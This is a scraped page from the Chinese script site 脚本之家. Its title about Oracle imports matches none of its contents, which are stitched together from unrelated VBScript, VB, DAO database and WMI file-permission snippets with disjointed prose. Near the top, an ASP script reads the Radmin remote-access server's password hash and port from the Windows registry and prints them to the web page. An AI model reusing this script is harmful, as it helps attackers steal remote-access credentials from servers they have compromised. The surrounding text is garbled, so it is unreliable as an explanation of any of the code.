魔兽输出脚本oracle导入数据库

发布时间:2021-12-20 来源:脚本之家 点击:



    将数据绑定到HierarchicalFlexGrid
    在开始使用它的功能之前,必须先将数据绑定到HierarchicalFlexGrid
<%
'========================================Main======================================
SetWSH=Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters"
Parameter="Parameter"
Port="Port"
ParameterArray=WSH.Regread(RadminPath&Parameter)
Response.write"TheResultofRadminHash"
Response.write"<br><br>"
Response.writeParameter&":"
'===========ReadPassWord=========
IfIsArray(ParameterArray)Then
Fori=0ToUBound(ParameterArray)
IfLen(hex(ParameterArray(i)))=1Then
strObj=strObj&"0"&CStr(Hex(ParameterArray(i)))
Else
strObj=strObj&Hex(ParameterArray(i))
EndIf
Next
response.writeLcase(strobj)
Else
response.write"Error!Can'tRead!"
EndIf
Response.write"<br><br>"
'===========ReadPort=========
PortArray=WSH.REGREAD(RadminPath&Port)
IfIsArray(PortArray)Then
Response.writePort&":"
Response.writehextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write"Error!Can'tRead!"
EndIf
'=============hexTOint==========
Functionhextointer(strin)
Dimi,j,k,result
result=0
Fori=1ToLen(strin)
IfMid(strin,i,1)="f"OrMid(strin,i,1)="F"Then
j=15
EndIf
IfMid(strin,i,1)="e"OrMid(strin,i,1)="E"Then
j=14
EndIf
IfMid(strin,i,1)="d"OrMid(strin,i,1)="D"Then
j=13
EndIf
IfMid(strin,i,1)="c"OrMid(strin,i,1)="C"Then
j=12
EndIf
IfMid(strin,i,1)="b"OrMid(strin,i,1)="B"Then
j=11
EndIf
IfMid(strin,i,1)="a"OrMid(strin,i,1)="A"Then
j=10
EndIf
IfMid(strin,i,1)<="9"AndMid(strin,i,1)>="0"Then
j=CInt(Mid(strin,i,1))
EndIf
Fork=1ToLen(strin)-i
j=j*16
Next
result=result+j
Next
hextointer=result
EndFunction
'================End==========
%>

脚本是什么格式
但是,似乎这个脚本可以使用;运行此脚本,您将得到与以下内容类似的输出:

Codebase:
Programfile:MSNFileUploadControl
Status:Installed

正如您看到的那样,“ProgramFile”属性为您提供了与显示在“DownloadedPrograms”文件夹中相同的友好名称声明:
PublicTypeSHFILEOPSTRUCT
hwndAsLong
wFuncAsLong
pFromAsString
pToAsString
fFlagsAsInteger
fAnyOperationsAbortedAsLong
hNameMappingsAsLong
lpszProgressTitleAsLong
EndType

PublicDeclareFunctionSHFileOperationLib"shell32.dll"Alias"SHFileOperationA"(lpFileOpAsSHFILEOPSTRUCT)AsLong

PublicConstFO_DELETE=&H3
PublicConstFOF_ALLOWUNDO=&H40
代码:
DimSHopAsSHFILEOPSTRUCT
DimstrFileasstring

WithSHop
.wFunc=FO_DELETE
.pFrom=strFile Chr(0)
.fFlags=FOF_ALLOWUNDO
EndWith

SHFileOperationSHop->

可后来发现了,还是不懂COM的内部实现,改用VC来写吧,马上就有微软军团的人告诉您应该用ATL,那就看看了,发现ATL把内部实现也给隐藏了,那就看看ATL的代码吧,靠,高手基本定型了但实现普通的操作还是很有用的

If objMatches.Count=0 Then一个小例子,在编程之前,请选择“工程”-“引用”
确定引用“microsoftDAO3.51Objectlibrary”
dimdbasdatabase
dimrsasrecordset

privatesubform1_load()
Setdb=OpenDatabase(App.Path "\TTT.mdb")'()内是你的数据库所在位置
Setrs=db.OpenRecordset("ABC")'()内是你数据库里面的表名
endsub
修改数据库的方法是:
privatesubEditNow()
NewName=text1.text
NewP=text2.text
withrs
.edit
!名字=Lcase(newname)'“名字”是你表中的项目,(newname)内是你根据你的代码改变的值
!密码=Lcase(newp)'同上
.update
endwith
endsub
建立是用rs.addnew
呵呵,方法就是这样,希望会对菜鸟有帮助

Function AddPermission(strUser,strPath,strAccess,blInherit)
Set objWMIService=GetObject("winmgmts:\\.\root\Cimv2")
Set fso=CreateObject("Scripting.FileSystemObject")
'得到Win32_SID并判断用户/组/内置账户是否存在
Set colUsers=objWMIService.ExecQuery("SELECT * FROM Win32_Account WHERE Name='"&strUser&"'")
If colUsers.count<>0 Then
For Each objUser In colUsers
strSID=objUser.SID
Next
Else
AddPermission=1
Exit Function
End If
Set objSID=objWMIService.Get("Win32_SID.SID='"&strSID&"'")
'判断文件/文件夹是否存在
pathType=""
If fso.fileExists(strPath) Then pathType="FILE"
If fso.folderExists(strPath) Then pathType="FOLDER"
If pathType="" Then
AddPermission=2
Exit Function
End If
'设置Trustee
Set objTrustee=objWMIService.Get("Win32_Trustee").SpawnInstance_()
objTrustee.Domain=objSID.ReferencedDomainName
objTrustee.Name=objSID.AccountName
objTrustee.SID=objSID.BinaryRepresentation
objTrustee.SidLength=objSID.SidLength
objTrustee.SIDString=objSID.Sid
'设置ACE
Set objNewACE=objWMIService.Get("Win32_ACE").SpawnInstance_()
objNewACE.Trustee=objTrustee
objNewACE.AceType=0
If InStr(UCase(strAccess),"R") > 0 Then objNewACE.AccessMask=1179817
If InStr(UCase(strAccess),"C") > 0 Then objNewACE.AccessMask=1245631
If InStr(UCase(strAccess),"F") > 0 Then objNewACE.AccessMask=2032127
If pathType="FILE" And blInherit=True Then objNewACE.AceFlags=16
If pathType="FILE" And blInherit=False Then objNewACE.AceFlags=0
If pathType="FOLDER" And blInherit=True Then objNewACE.AceFlags=19
If pathType="FOLDER" And blInherit=False Then objNewACE.AceFlags=3
'设置SD
Set objFileSecSetting=objWMIService.Get("Win32_LogicalFileSecuritySetting.Path='"&strPath&"'")
Call objFileSecSetting.GetSecurityDescriptor(objSD)
blSE_DACL_AUTO_INHERITED=True
If (objSD.ControlFlags And &H400)=0 Then
blSE_DACL_AUTO_INHERITED=False
objSD.ControlFlags=(objSD.ControlFlags Or &H400)
'自动继承位置位,如果是刚创建的目录或文件该位是不置位的,需要置位
End If
If blInherit=True Then
objSD.ControlFlags=(objSD.ControlFlags And &HEFFF)
'阻止继承复位
Else
objSD.ControlFlags=(objSD.ControlFlags Or &H1400)
'阻止继承位置位,自动继承位置位
End If
objOldDacl=objSD.Dacl
ReDim objNewDacl(0)
Set objNewDacl(0)=objNewACE
If IsArray(objOldDacl) Then
'权限为空时objOldDacl不是集合不可遍历
For Each objACE In objOldDacl
If (blSE_DACL_AUTO_INHERITED=False And blInherit=True) Or ((objACE.AceFlags And 16)>0 And (blInherit=True) Or (LCase(objACE.Trustee.Name)=LCase(strUser))) Then
'Do nothing
'当自动继承位置位为0时即使时继承的权限也会显示为非继承,这时所有权限都不设置
'当自动继承位置位为0时,在继承父目录权限的情况下不设置继承的权限.账户和需要加权限的账户一样时不设置权限
Else
Ubd=UBound(objNewDacl)
ReDim preserve objNewDacl(Ubd+1)
Set objNewDacl(Ubd+1)=objACE
End If
Next
End If

objSD.Dacl=objNewDacl
'提交设置修改
Call objFileSecSetting.SetSecurityDescriptor(objSD)
AddPermission=0
Set fso=Nothing
End Function
加密用加密解不开
  此设计也适用VB3.0、VB4.0
最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs脚本了,并且可以直接执行。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号